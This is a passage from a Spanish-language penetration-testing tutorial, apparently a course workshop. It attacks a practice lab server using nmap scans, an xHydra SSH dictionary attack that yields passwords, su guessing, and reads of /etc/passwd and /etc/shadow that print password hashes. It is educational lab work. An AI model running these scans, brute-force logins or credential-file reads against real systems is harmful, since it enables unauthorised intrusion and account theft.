Administrativo, l decide contratarle a usted y le d un plazo de
5 das para realizar el trabajo, pues como se mencion l no cree
que la empresa sea vulnerable a cualquier intento de acceso no
autorizado.
Su tarea es analizar solo un servidor en el cual se aloja una
pgina Web que ofrece informacin de contacto de la misma.
El Director General espera que usted intente con todos los tipos
de ataques que estn a su disposicin, pues est seguro de que
usted no podr vulnerar el sistema y obtener acceso.
Demostrar que el sistema es vulnerable sera la mejor manera de
concienciar al Director General, para desde all implementar
mejores prcticas en materia de seguridad Informtica.

Escaneo e identificacin del sistema

Lo primero que hemos de realizar al entrar en un sistema que no conocemos, es el ver que hay.
Deberamos intentar conocer todo lo que hay en marcha dentro de los lmites de la auditora.
La meta de esta seccin ser conocer la situacin y caractersticas de la red que estamos auditando.
Conocer que mquinas estn funcionando, y que servicios estn disponibles. Tambin querremos
conocer las versiones de los programas que los implementan, y sobre que sistemas operativos estn
montados. La herramienta ms conocida en este campo, es sin duda, el NMAP.

NMAP
Introduccin

NMAP o Network Mapper, es una herramienta, que en un principio es un scanner de puertos. Es

decir, nos sirve para comprobar qu est escuchando en un determinado puerto. Pero, tambin nos
sirve para, por ejemplo, ejecutar scripts que ejecuten malware, hacer pings a redes enteras etc... Es
un programa libre, y est atribuido Fyodor.
Nmap apareci en septiembre de 1997, en un artculo de la revista Phrack Magazine. El cdigo
fuente vena incluido. Desde entonces se han incluido cientos de mejoras, y est considerado como
el escaner de puertos por excelencia.
Ponindonos ya con aspectos prcticos, vamos a intentar descubrir la IP de nuestro sistema
virtualizado. Lo llamaremos a partir de ahora red virtualizada.

Pgina 78

Host discovery

Lo primero que hacemos, es hacer un host discovery. Como ya hemos dicho, lo primero que
debemos hacer al entrar en un sistema, es ver que hay. Hacer un host discovery se refiere a echar un
vistazo a ver que mquinas existen, y estn funcionando. Nos interesar para que posteriormente
podamos hacer estudios de estas mquinas disponibles sin tener que generar demasiado trabajo a
nuestras herramientas, y se centren solamente en las mquinas disponibles.
Para ello, vamos a hacer un ping scan (hace pings a todas las mquinas que especifiquemos en el
rango. Ahora bien, a que rango se lo hacemos? Desde Ubuntu, vamos a ver nuestras interfaces
virtuales, para saber en que red est nuestra red virtualizada. Hacemos ifconfig, y nos aparecen las
siguientes interfaces virtuales:
vmnet1
Link encap:Ethernet direccinHW 00:50:56:c0:00:01
inet direccin:172.16.5.1
Mscara:255.255.255.0

Difusin:172.16.5.255

direccin inet6: fe80::250:56ff:fec0:1/64

Alcance:Vnculo
ARRIBA DIFUSIN CORRIENDO MULTICAST

MTU:1500

Mtrica:1

RX packets:1 errors:0 dropped:0 overruns:0 frame:0

TX packets:797 errors:0 dropped:0 overruns:0 carrier:0
colisiones:0 txqueuelen:1000
RX bytes:0 (0.0 B)
vmnet8

Link encap:Ethernet

TX bytes:0 (0.0 B)
direccinHW 00:50:56:c0:00:08

inet direccin:192.168.197.1
Mscara:255.255.255.0

Difusin:192.168.197.255

direccin inet6: fe80::250:56ff:fec0:8/64

Alcance:Vnculo
ARRIBA DIFUSIN CORRIENDO MULTICAST

MTU:1500

Mtrica:1

RX packets:6 errors:0 dropped:0 overruns:0 frame:0

TX packets:8211 errors:0 dropped:0 overruns:0 carrier:0
colisiones:0 txqueuelen:1000
RX bytes:0 (0.0 B)

TX bytes:0 (0.0 B)

Bien, tenemos ips de nuestra mquina, pertenecientes a dos redes virtuales. Tambien nos fijamos en
la mscara, y as tenemos 2 redes que investigar: 172.16.5.1/24 y 192.168.197.1/24. El /24 la
obtenemos de la mscara de subred (255.255.255.0). Bien, hagamos el ping scan, con el comando:
namp -n -sP 192.168.197.0/24
Como respuesta, obtenemos:
Starting Nmap 4.53 ( http://insecure.org ) at 2009-04-03 13:39
CEST
Host 192.168.197.1 appears to be up.
Pgina 79

Nmap done: 256 IP addresses (1 host up) scanned in 2.110 seconds

Es decir, solo una mquina: la nuestra. Probando en la otra ip, obtenemos los mismos resultados.
Aqu, se nos ocurre pensar, que quizs las mquinas estn no respondiendo a los pings (algo muy
aconsejable), por lo que tenemos que tomar otras medidas para intentar averiguar la ip por la cual
tratar con la red.
Escaneo de puertos

Vamos a intentar escanear puertos, a ver si encontrsemos alguno abierto o filtrado. Algo que nos
indique que hay una mquina corriendo, y que aplicaciones o servicios estn corriendo. Encontrar
incluso las versiones de los programas que estn escuchando a los servicios. Para ello, hacemos un
escaneo de puertos cualquiera (por ejemplo el stealth -sS), y reducimos el rango de puertos a los
tpicos, reduciendo as el tiempo que durar el test:
sudo nmap -PN -sS -p80,22 192.168.197.0/24
Starting Nmap 4.53 ( http://insecure.org ) at 2009-04-03 14:23
CEST
Interesting ports on 192.168.197.1:
PORT

STATE

SERVICE

22/tcp closed ssh

80/tcp closed http
Interesting ports on 192.168.197.254:
PORT

STATE

SERVICE

22/tcp filtered ssh

80/tcp filtered http
MAC Address: 00:50:56:E9:2D:31 (VMWare)
Nmap done: 256 IP addresses (2 hosts up) scanned in 6.656 seconds
Errores

Hemos intentado acceder a la pgina web donde se muestran las instrucciones para la realizacin
del test de intrusin (una introduccin hacia la distribucin live preparada para prcticas de test de
penetracin). Habamos visto, que la ip objetivo, era 192.168.197.254. Pero esta ip no nos sirve
pginas web (El firefox no nos sirve la pgina). Investigando, nos damos cuenta de que las ips
acabadas en 254 suelen corresponder a routers. En nuestro caso, debe de ser algn router virtual
creado por VMWARE. Por lo tanto, estamos en las mismas. Investigando sobre esta distribucin,
nos damos cuenta de que la web que sirve la pgina es 192.168.1.100. Pero sta sigue sin responder.
Intentamos buscarla haciendo escaneos de puertos y de ips a lo largo de nuestras redes, pero no hay
manera de encontrarla, y no somos capaces de acceder.
Finalmente, tras un trabajo de investigacin y pruebas, decidimos cambiar la ip de nuestra backtrack
a la subred 192.168.1.0/24, haciendo que pertenezca a la red de la distribucin:
Pgina 80

bt ~ # ifconfig eth0 192.168.1.4

bt ~ # ifconfig
eth0

Link encap:Ethernet

HWaddr 00:0C:29:19:FD:5D

inet addr:192.168.1.4
Mask:255.255.255.0

Bcast:192.168.1.255

UP BROADCAST NOTRAILERS RUNNING MULTICAST

MTU:1500

Metric:1
RX packets:111 errors:0 dropped:0 overruns:0 frame:0
TX packets:55 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:132902 (129.7 KiB)

TX bytes:6000 (5.8 KiB)

Base address:0x1080 Memory:e8820000-e8840000

lo

Link encap:Local Loopback

inet addr:127.0.0.1

Mask:255.0.0.0

UP LOOPBACK RUNNING

MTU:16436

Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b)

TX bytes:0 (0.0 b)

Ahora, comprobamos a ver si podemos acceder a la pgina, introduciendo la ip en el firefox de

backtrack(Figura 24: ):

Figura 24:
Pgina 81

Mquinas online

Vamos a probar de nuevo a hacer un barrido a ver cuantas mquinas encontramos conectadas en la
red 192.168.1.0/24 (el Host descovery descrito antes). Para ello, podemos hacerlo de 2 formas, y as
aprendemos las dos:
bt ~ # nmap -sP 192.168.1.1-254
Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 13:11 CEST
Host 192.168.1.4 appears to be up.
Host 192.168.1.100 appears to be up.
MAC Address: 00:0C:29:A2:DA:9C (VMware)
Nmap done: 254 IP addresses (2 hosts up) scanned in 31.732 seconds
bt ~ # nmap -sP 192.168.1.0/24
Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 13:14 CEST
Host 192.168.1.4 appears to be up.
Host 192.168.1.100 appears to be up.
MAC Address: 00:0C:29:A2:DA:9C (VMware)
Nmap done: 256 IP addresses (2 hosts up) scanned in 30.087 seconds
En ambas, hemos puesto la opcin -sP (ping scan), y en la primera, hemos puesto un rango de ips.
En la segunda, hemos hecho lo mismo, solo que hemos especificado una mscara de red, en lugar
de un rango. En ambas obtenemos la misma respuesta: en la red, est nuestro equipo, y el servidor
web que hemos visitado antes.
Apuntaremos los datos de la mquina que nos interesa:
Host 192.168.1.100 appears to be up.
MAC Address: 00:0C:29:A2:DA:9C (Vmware)

Exploracin inicial de la mquina 192.168.1.100

Ahora vamos a realizar un escaneo ms intenso sobre la mquina objetivo, probando, adems, los
puertos TCP comunes. Estaremos haciendo lo mismo que en la seccin donde se describe el escaneo
de puertos, es decir, comprobando los puertos que estn a la escucha, y que aplicaciones estn
escuchando:
bt ~ # nmap -PE -v -p1-65535 -PA21,23,80,3389 -A -T4 192.168.1.100
Este tipo de escaneo, es bastante comn, y algunas herramientas grficas (por ejemplo Zenmap) que
implementan NMAP, lo traen por defecto. Vamos a explicar un poco las opciones:
-PE: NMAP puede enviar paquetes de ICMP tipo 8 (echo request) a la ip objetivo, y esperar la
respuesta de tipo 0 (echo request), de aquellos hosts que estn disponibles. Muchas veces este tipo
de pings estn filtrados por muchos administradores, por lo que muchas veces se suelen hacer otros
Pgina 82

tipos de escaneo. Nosotros lo incluimos para ver cuales nos contestan.

-v: verbose, para mostrar ms detalles
-p1-65535: queremos que escanee desde el puerto 1 al 65535 con el -PE.
-PA21,23,80,3389: con esto, vamos a hacer un ACK scan a los puertos ms comunes de tcp, el 21,
23, 80 y el 3389. Enviaremos paquetes ACK para ver que nos contestan, y as poder determinar si
estn abiertos o no. Enviamos un ACK para hacerle saber a la vctima que confirmamos una
conexin existente (aunque realmente no existe). La mquina objetivo nos contestar con un RST
(reset, ya que sta no sabe nada de esta conexin inventada por nosotros), y sabremos que
efectivamente, hay algo escuchando ah.
-A: permite que le pongamos opciones de escaneo agresivas. Adems, nos buscar las versiones
de los programas que estn escuchando en los puertos. En nuestro caso adems de lo anterior, nos
permite utilizar la opcin -T4, que pasaremos a explicar a continuacin.
-T4: prohbe que el el escaneo dinmico exceda los 10ms para puertos TCP. El escaneo dinmico
se suele utilizar para burlar algunos sistemas de deteccin de intrusos mediante el cambio de tiempo
entre escaneo y escaneo, de forma que sea ms dificil de evitar. Las versiones ms recientes de
SNORT son capaces de detectar esto.
Por ltimo, hemos introducido la direccin ip de la vctima. A continuacin, mostramos la salida de
nuestro escaneo:
Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 13:24 CEST
Initiating ARP Ping Scan at 13:24
Scanning 192.168.1.100 [1 port]
Completed ARP Ping Scan at 13:24, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:24
Completed Parallel DNS resolution of 1 host. at 13:24, 13.00s
elapsed
Initiating SYN Stealth Scan at 13:24
Scanning 192.168.1.100 [65535 ports]
Discovered open port 25/tcp on 192.168.1.100
Discovered open port 21/tcp on 192.168.1.100
Discovered open port 80/tcp on 192.168.1.100
Discovered open port 22/tcp on 192.168.1.100
Discovered open port 143/tcp on 192.168.1.100
SYN Stealth Scan Timing: About 6.33% done; ETC: 13:32 (0:07:23
remaining)
SYN Stealth Scan Timing: About 26.57% done; ETC: 13:29 (0:03:35
remaining)
Discovered open port 110/tcp on 192.168.1.100
Completed SYN Stealth Scan at 13:28, 193.07s elapsed (65535 total
ports)
Initiating Service scan at 13:28
Scanning 6 services on 192.168.1.100
Completed Service scan at 13:28, 6.03s elapsed (6 services on 1
Pgina 83

host)
Initiating OS detection (try #1) against 192.168.1.100
SCRIPT ENGINE: Initiating script scanning.
Initiating SCRIPT ENGINE at 13:28
Completed SCRIPT ENGINE at 13:28, 0.05s elapsed
Host 192.168.1.100 appears to be up ... good.
Interesting ports on 192.168.1.100:
Not shown: 65527 filtered ports
PORT

STATE

SERVICE

20/tcp

closed ftp-data

VERSION

21/tcp open
IPv4 socket)

ftp

vsftpd (broken: could not bind listening

22/tcp

ssh

OpenSSH 4.3 (protocol 1.99)

open

|_ SSH Protocol Version 1: Server supports SSHv1

25/tcp

open

smtp

Sendmail 8.13.7/8.13.7

SMTP: Responded to EHLO command

slax.example.net Hello [192.168.1.4], pleased to meet you

ENHANCEDSTATUSCODES

PIPELINING

8BITMIME

SIZE

DSN

ETRN

AUTH DIGEST-MD5 CRAM-MD5

DELIVERBY

250 HELP

Responded to HELP command

2.0.0 This is sendmail version 8.13.7

2.0.0 Topics:

2.0.0

HELO

EHLO

MAIL

RCPT

DATA

2.0.0

RSET

NOOP

QUIT

HELP

VRFY

2.0.0

EXPN

VERB

ETRN

DSN

AUTH

2.0.0

STARTTLS

2.0.0 For more info use "HELP <topic>".

2.0.0 To report bugs in the implementation see

2.0.0

http://www.sendmail.org/email-addresses.html
Pgina 84

| 2.0.0 For local information send email to Postmaster at your

site.
|_ 2.0.0 End of HELP info
80/tcp

open

http

Apache httpd 2.0.55 ((Unix) PHP/5.1.2)

|_ HTML title: Site doesn't have a title.

110/tcp open

pop3

Openwall popa3d

143/tcp open

imap

UW Imapd 2004.357

443/tcp closed https

MAC Address: 00:0C:29:A2:DA:9C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.20
Uptime: 0.025 days (since Wed Apr

8 12:51:41 2009)

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: slax.example.net; OS: Unix
Read data files from: /usr/local/share/nmap
OS and Service detection performed. Please report any incorrect
results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 214.204 seconds
Raw packets sent: 196657 (8.655MB) | Rcvd: 56 (2672B)
Como datos interesantes, podemos ver los puertos que ha encontrado abiertos, y ha tratado de
averiguar que servicio, y versin de los programas que lo implementan, est usando:
21/tcp open
ftp
vsftpd (broken: could not bind listening
IPv4 socket)
22/tcp

open

ssh

OpenSSH 4.3 (protocol 1.99)

25/tcp

open

smtp

Sendmail 8.13.7/8.13.7

80/tcp

open

http

Apache httpd 2.0.55 ((Unix) PHP/5.1.2)

110/tcp open

pop3

Openwall popa3d

143/tcp open

imap

UW Imapd 2004.357

443/tcp closed https

Running: Linux 2.6.X
OS details: Linux 2.6.13 2.6.20

Pgina 85

Anotamos esto ltimo para posterior consulta. Estos datos nos sern importantes, ya que sern
posibles entradas al sistema. Adems, nos est mostrando el sistema operativo que est instalada la
mquina.
Otro escaneo interesante, puede ser con las opciones -P0 (para evitar que haga ping antes de cada
escaneo de puerto, ya que muchos sistemas tienen desactivado la respuesta a pings), -sS para que
haga el escaneo con SYN en vez de ACK:
bt ~ # nmap -P0 -sS -p 21,22,23,80,110,443,3306 192.168.1.100
Starting Nmap 4.60 ( http://nmap.org ) at 2009-04-08 14:09 CEST
Interesting ports on 192.168.1.100:
PORT

STATE

SERVICE

21/tcp

open

ftp

22/tcp

open

ssh

23/tcp

filtered telnet

80/tcp

open

http

110/tcp

open

pop3

443/tcp

closed

https

3306/tcp filtered mysql

MAC Address: 00:0C:29:A2:DA:9C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 15.593 seconds
Hay muchas opciones interesantes mas, como -sV para que compruebe las versiones.
Como vemos, Nmap nos ha servido de forma rpida y eficiente, y nos ha dado bastante informacin
del sistema. Nos ha dado bastantes caminos que podemos seguir en el futuro para intentar explotar
las vulnerabilidades del sistema, y reduciendo as, el nmero de pruebas que podemos realizar.
Pero.. hemos de tener en cuenta, que estos datos pudieran ser no fiables: es posible que NMAP se
hubiera equivocado. Y aun as, NMAP trabaja en funcin de las respuestas que le devuelven los
distintos protocolos implementados, y como los tratan los programas que estn a la escucha. Por lo
tanto, lo siguiente que habra que hacer, es verificar que, efectivamente, son esos los servicios (y si
podemos, los programas tambin) que NMAP nos est diciendo que son.
Verificacin de puertos abiertos con servicios escuchando

Recapitulamos lo que hemos encontrado con los distintos escaneos de puertos, y que nos puede
resultar interesante:
Host 192.168.1.100 appears to be up.
MAC Address: 00:0C:29:A2:DA:9C (VMware)
21/tcp open
IPv4 socket)

ftp

vsftpd (broken: could not bind listening

22/tcp

open

ssh

OpenSSH 4.3 (protocol 1.99)

25/tcp

open

smtp

Sendmail 8.13.7/8.13.7

Pgina 86

80/tcp

open

http

Apache httpd 2.0.55 ((Unix) PHP/5.1.2)

110/tcp open

pop3

Openwall popa3d

143/tcp open

imap

UW Imapd 2004.357

443/tcp closed https

Running: Linux 2.6.X
OS details: Linux 2.6.13 2.6.20
Como buen test de intrusin, vamos a comprobar, que efectivamente hay esos servicios a la
escucha. Lo ms sencillo, es ir servicio a servicio, conectndonos a ellos con las herramientas que
dispongamos, y tratar de interactuar con ellos mediante comandos del protocolo en cuestin. Si nos
devuelve las respuestas que esperamos a esos comandos, entonces el servicio ser el que NMAP nos
ha dado.
Probamos pues, el primer servicio, el FTP. Escribimos en consola:
bt ~ # ftp
ftp> open
(to) 192.168.1.100
Connected to 192.168.1.100.
500 OOPS: could not bind listening IPv4 socket
Como vemos, no podemos conectarnos al servidor FTP, bien sea por una configuracin incorrecta
intencionada o no intencionada. Pasemos pues al siguiente sercicio, SSH:
bt ~ # ssh 192.168.1.100
The authenticity of host '192.168.1.100 (192.168.1.100)' can't be
established.
RSA key fingerprint is
ab:ab:a8:ad:a2:f2:fd:c2:6f:05:99:69:40:54:ec:10.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.100' (RSA) to the list of
known hosts.
root@192.168.1.100's password:
Permission denied, please try again.
root@192.168.1.100's password:
Permission denied, please try again.
root@192.168.1.100's password:
Aqu si que podemos ver, que efectivamente hay un servidor SSH escuchando, y que al loguearnos,
nos pide una contrasea. Como obviamente no la conocemos, apretamos CONTROL-C para salir
del programa. Probemos pues, el siguiente el sendmail:
bt ~ # telnet 192.168.1.100 25
Trying 192.168.1.100...
Connected to 192.168.1.100.
Pgina 87

Escape character is '^]'.

220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Fri, 24 Apr
2009 12:10:07 GMT
Vemos que tras intentar conectarnos, nos devuelve el banner del Sendmail. Por lo tanto, el servidor
est activo. Probemos ahora el puerto 80, desde nuestro conocido netcat:
bt ~ # nc 192.168.1.100 80
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 24 Apr 2009 12:12:53 GMT
Server: Apache/2.0.55 (Unix) PHP/5.1.2
X-Powered-By: PHP/5.1.2
Connection: close
Content-Type: text/html
El siguiente de los servicios, es uno que NMAP reconoce como Openwall popa3d. Tras googlear un
poco, descubrimos que se trata de un pequeo daemon de POP3 diseado con la seguridad como
mximo objetivo. Intentemos conectarnos:
bt ~ # telnet 192.168.1.100 110
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
+OK
USER Pepe
+OK
PASS hola
-ERR Authentication failed (bad password?)
Connection closed by foreign host.
El servicio est activo, y adems acepta comandos tpicos de POP3. El siguiente servicio, un IMAP.
Intentemos la conexin:
bt ~ # telnet 192.168.1.100 143
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is '^]'.
OK

[CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS

AUTH=LOGIN] [192.168.1.100] IMAP4rev1 2004.357 at Fri, 24 Apr 2009
12:30:11 +0000 (GMT)

Pgina 88

Tambin est activo. Ya hemos probado todos los servicios que nos ha proporcionado NMAP, y
comprobado que efectivamente, son todos correctos, dando as por concluida, la seccin de NMAP.

Recoleccin de informacin
De entre todos los servicios encontrados en el sistema, el mas interesante parece que es el SSH.
Esto es as por dos razones: la primera, es que dado que intentamos simular una auditora, por lo
que no deberamos llevar a cabo acciones que pudieran poner en peligro el sistema (por ejemplo,
buffer overflows, denegaciones de servicio etc), y una buena forma de respetar esto, es mediante el
uso de ataques de diccionario (se explicar ms adelante). La segunda razn es, que ya que vamos a
realizar un ataque de diccionario, lo ideal es explotar un servicio que directamente nos devuelva una
shell. Indagando por la web que nos ofreca el CEO, :
Vemos los distintos mails, que suelen coincidir con los nombres de usuario (o al menos, tenemos los
nombres de los componentes de la empresa, para empezar a indagar como ser su nombre de
usuario). Adems, nos fijamos en los SySAdmin que sern objetivos muy interesante (ya que son
administradores, y probablemente tengan acceso por ssh al sistema, que es lo que nos interesa).
Por lo tanto, tenemos 3 nombres:
SysAdmin: Adams Adams - adamsa@noseguridad.corp
SySAdmin: Bob Banter - banterb@noseguridad.corp
SysAdmin: Chad Coffee - coffeec@noseguridad.corp

Ataques de diccionario
Para comprender un ataque de diccionario, primero deberamos entender que es un ataque de fuerza
bruta. Un ataque de este tipo, es ir probando combinaciones de letras de tal forma, que acertemos
con el login y password de un usuario y podamos acceder al sistema. ste mtodo, no es muy
rpido, por lo que deberamos de refinarlo. Aqu es donde entra en juego el ataque de diccionario.
Reduciremos los intentos de contrasea mediante el uso de palabras conocidas como passwords
comunes, nombres de actores, nombres bblicos etc... de tal forma que eliminemos palabras
absurdas.
Para realizar un ataque de diccionario, necesitaremos 2 elementos: logins y passwords. Pasemos
primero, a ver como conseguir los nombres de usuario.

Pgina 89
Figura 25:

Nombres de usuario

Vemos los distintos mails(Figura 25: ), que suelen coincidir con los nombres de usuario (o al
menos, tenemos los nombres de los componentes de la empresa, para empezar a indagar como ser
su nombre de usuario). Adems, nos fijamos en los SySAdmin que sern objetivos muy
interesante (ya que son administradores, y probablemente tengan acceso por ssh al sistema, que es
lo que nos interesa).
Por lo tanto, tenemos 3 nombres:
SysAdmin: Adams Adams - adamsa@noseguridad.corp
SySAdmin: Bob Banter - banterb@noseguridad.corp
SysAdmin: Chad Coffee - coffeec@noseguridad.corp
Vamos a crear un diccionario de nombres de usuario, donde aparezcan distintas combinaciones con
los nombres para generar los nombres de usuario (adems de los emails que ya tenemos). Asi,
podemos por ejemplo hacer:
adamsa
adamadam
aadam
adams
banterb
bbanter
bobb
robertb
rbanter
bob
robert
coffeec
chadcoffee
ccoffee
Cuantos mas se nos ocurran, mas probabilidades tendremos de encontrar el nombre de usuario
correcto. Por ahora, probaremos con estos. Lo guardamos en un fichero de texto, por ejemplo
usuarios.txt
Diccionarios

Lo siguiente, es buscar un diccionario de passwords tpicos. Buscando por la web, se pueden

encontrar miles, de todos los tamaos, e incluso organizados por categoras. Desde los passwords
mas utilizados, nombres de actores, nombres bblicos. Pueden ser de cualquier tipo, desde palabras
reconocibles, a caracteres generados por fuerza bruta. Con maysculas, palabras escritas al derechas
o al revs. Para este taller, se ha cogido uno con los passwords mas comunes, y lo guardamos como
passwords.txt.
xHydra

A continuacin, vamos a presentar una herramienta grfica, que se utiliza para el ataque online por
diccionarios: xHydra. Este programa, viene por defecto en backtrack, y para iniciarlo, le damos al
botn de kde y seguimos el siguiente dibujo(Figura 26: ):

Pgina 90

Figura 26:
Las herramientas que Backtrack ofrece para seguridad, estn organizadas siguiendo una jerarqua.
Nosotros buscamos un programa que nos ofrezca escalada de privilegios (pretendemos obtener los
privilegios de algn administrador de la empresa), que sea de ataque de diccionario (para eso hemos
creado el diccionario de usuarios y contraseas), y por ltimo, es online: vamos a trabajar
intentando conectarnos al servidor SSH. El Hydra podemos ejecutarlo en modo grfico y en modo
consola. Nosotros, vamos a ejecutarlo en modo grfico.

Figura 27:
Pgina 91

Una vez ejecutado el xHydra, seleccionamos las siguientes opciones:

En la pestaa target(Figura 27: ):
Elegimos single target, con la direccin ip de la mquina vctima, y elegimos el protocolo ssh2. En
la pestaa password(Figura 28: ):

Figura 28:
Aqu elegimos en username list el diccionario de usuarios que hemos creado. En password list,
elegimos el diccionario de passwords comunes que hemos sacado de internet. Por ltimo, vamos a
marcar las casillas Try login as passwords para que de el mismo nombre que contrasea, y Try
empty password por si no tuviera password. En la pestaa tunig(Figura 29: ):

Figura 29:

Pgina 92

Aqu, el number of tasks, ser el nmero de procesos en paralelo que intentarn hacer logins a la
vez. Dado que nuestro diccionario es bastante grande, deberamos mantener pequeo este nmero
(se han encontrado muchos problemas en este paso, por lo que finalmente se ha reducido a 2). El
timeout es el tiempo que pasar entre intento e intento. Seleccionaremos Exit after first found pair
para que en cuanto encuentre algn password, termine. Ya podemos iniciar el ataque. Tras un rato
de espera, obtenemos(Figura 30: ):

Figura 30:
Aqu hemos obtenido un login y password: bbanter, bbanter. Debemos recordar que hemos obtenido
esto gracias a haber seleccionado el try login as password. Para ejecutar el comando desde
consola, aparece en la parte inferior de la ventana. Ya tenemos un punto de entrada al sistema.
Vamos a comprobar que efectivamente podemos entrar:
bt ~ # ssh bbanter@192.168.1.100
bbanter@192.168.1.100's password:
Linux 2.6.16.
bbanter@slax:~$ whoami
bbanter
bbanter@slax:~$
xHydra nos ha ofrecido unos resultados deseables. Parece que no es demasiado complicado de
utilizar, aunque quizs las opciones de tunning sean poco intuitivas desde el punto de vista de un
novato. Por otro lado, tambin tuvimos problemas con que se quedaba colgado en ocasiones
(supondremos que ser por utilizar entornos virtualizados). Otro punto en su contra, es su propia
naturaleza de ataque de diccionario. Siempre ser poco eficiente, y si un sistema est protegido
con contraseas ms complicadas, o limita el nmero de intentos a la hora de loguearse, xHydra tal
y como lo venimos utilizando fracasar. A su favor, debemos decir que ha obtenido finalmente el
Pgina 93

nombre de usuario y contrasea, por lo que podemos continuar avanzando.

Exploracin del sistema

Tras haber conseguido un nombre de usuario y contrasea, el siguiente paso lgico, sera el ver el
sistema accedido por dentro. A la hora de entrar en la red, hicimos lo mismo: echar un vistazo. Aqu
lo haremos a nivel de mquina individual.
Una vez dentro del sistema, el objetivo que ms llama la atencin, es ver el archivo de passwd. En
l podremos encontrar una lista de usuarios, y ver el tipo de indentificacin que utiliza. Por lo tanto,
tras habernos conectado al sistema por ssh (login bbanter, pass bbanter), tecleamos en la terminal:
bbanter@slax:~$ cat /etc/passwd
Y la terminal muestra el archivo passwd:
root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP
ENCRYPTION:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
aadams:x:1000:10:,,,:/home/aadams:/bin/bash
bbanter:x:1001:100:,,,:/home/bbanter:/bin/bash
ccoffee:x:1002:100:,,,:/home/ccoffee:/bin/bash

Pgina 94

El archivo, est de la forma:

username:passwd:uid:gid:nombrereal:homedir:shell
Viendo el archivo, podemos comprobar, que donde viene passwd, viene una x, por lo que la
contrasea est contenida en /etc/shadow. Tambin podemos ver el nombre de otros usuarios, junto
con sus uids, y gids. Tambin podra ser interesante, el visualizar /etc/groups, o /etc/shadow si lo
necesitaremos, pero por ahora, nos hemos hecho con otros usuarios del sistema, y podramos, por
ejemplo, realizar otro ataque de diccionario, usando el programa xHydra, con esta nueva lista de
usuarios.
Tras probar mltiples diccionarios (y algunos, al ser demasiado extensos, cuelgan las imagenes
VMWARE), encontramos la contrasea de aadams:
login: aadams
pass: nostradamus

Escalada de privilegios
Una vez tenemos varios nombres de usuarios y contraseas, algo interesante para probar, es si la
contrasea de root usa la misma contrasea o nombre de usuario que los usuarios que tenemos.
Debemos recordar, que segn la web de la empresa, son administradores, por lo que es posible, que
usaran sus contraseas para ser root(algo muy desaconsejable, pero que se da en muchas empresas
con polticas de contraseas muy pobres).
aadams@slax:~$ su
Password: nostradamus
Sorry.
aadams@slax:~$ su
Password: aadams
Sorry.
aadams@slax:~$ su
Password: bbanter
Sorry.
aadams@slax:~$ su
Password: ccoffee
Sorry.
Nota: se ha puesto los passwords en visible para poder mostrar lo que se ha intentado.
Como vemos, las contraseas de los administradores no coinciden con la del root, por lo que
tendremos que idear otra forma de hacernos con la contrasea.

Descifrando Shadow
No todos los usuarios tienen permisos para poder acceder en modo lectura a este archivo, por lo que
vamos a probar si alguno de los usuarios que tenemos (recordemos que ambos son administradores,
por lo que tiene sentido) tiene permisos. Probaremos con aadams:
aadams@slax:~$ sudo cat /etc/shadow

Pgina 95

Hemos ejecutado la instruccin sudo para poder acceder al archivo con los mximos privilegios
posibles. En este caso, la contrasea coincida con nostradamus.
Password: nostradamus
root:$1$r72/qKLG$TqTzMBf/6ErN9Z9.J9GiF/:14230:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::
Hemos tenido suerte: aadams tena permisos parap poder leerlo. Es hora de descargarnos el
contenido a local, para poder usar herramientas de descifrado.
Creamos en nuestra Backtrack un archivo de texto donde pegamos ese texto. Lo llamaremos
shadowSISTEMA.txt.
A continuacin vamos a presentar una herramienta de ataque de diccionario tambin (esta vez algo
ms potente), pero que trabaja en offline:
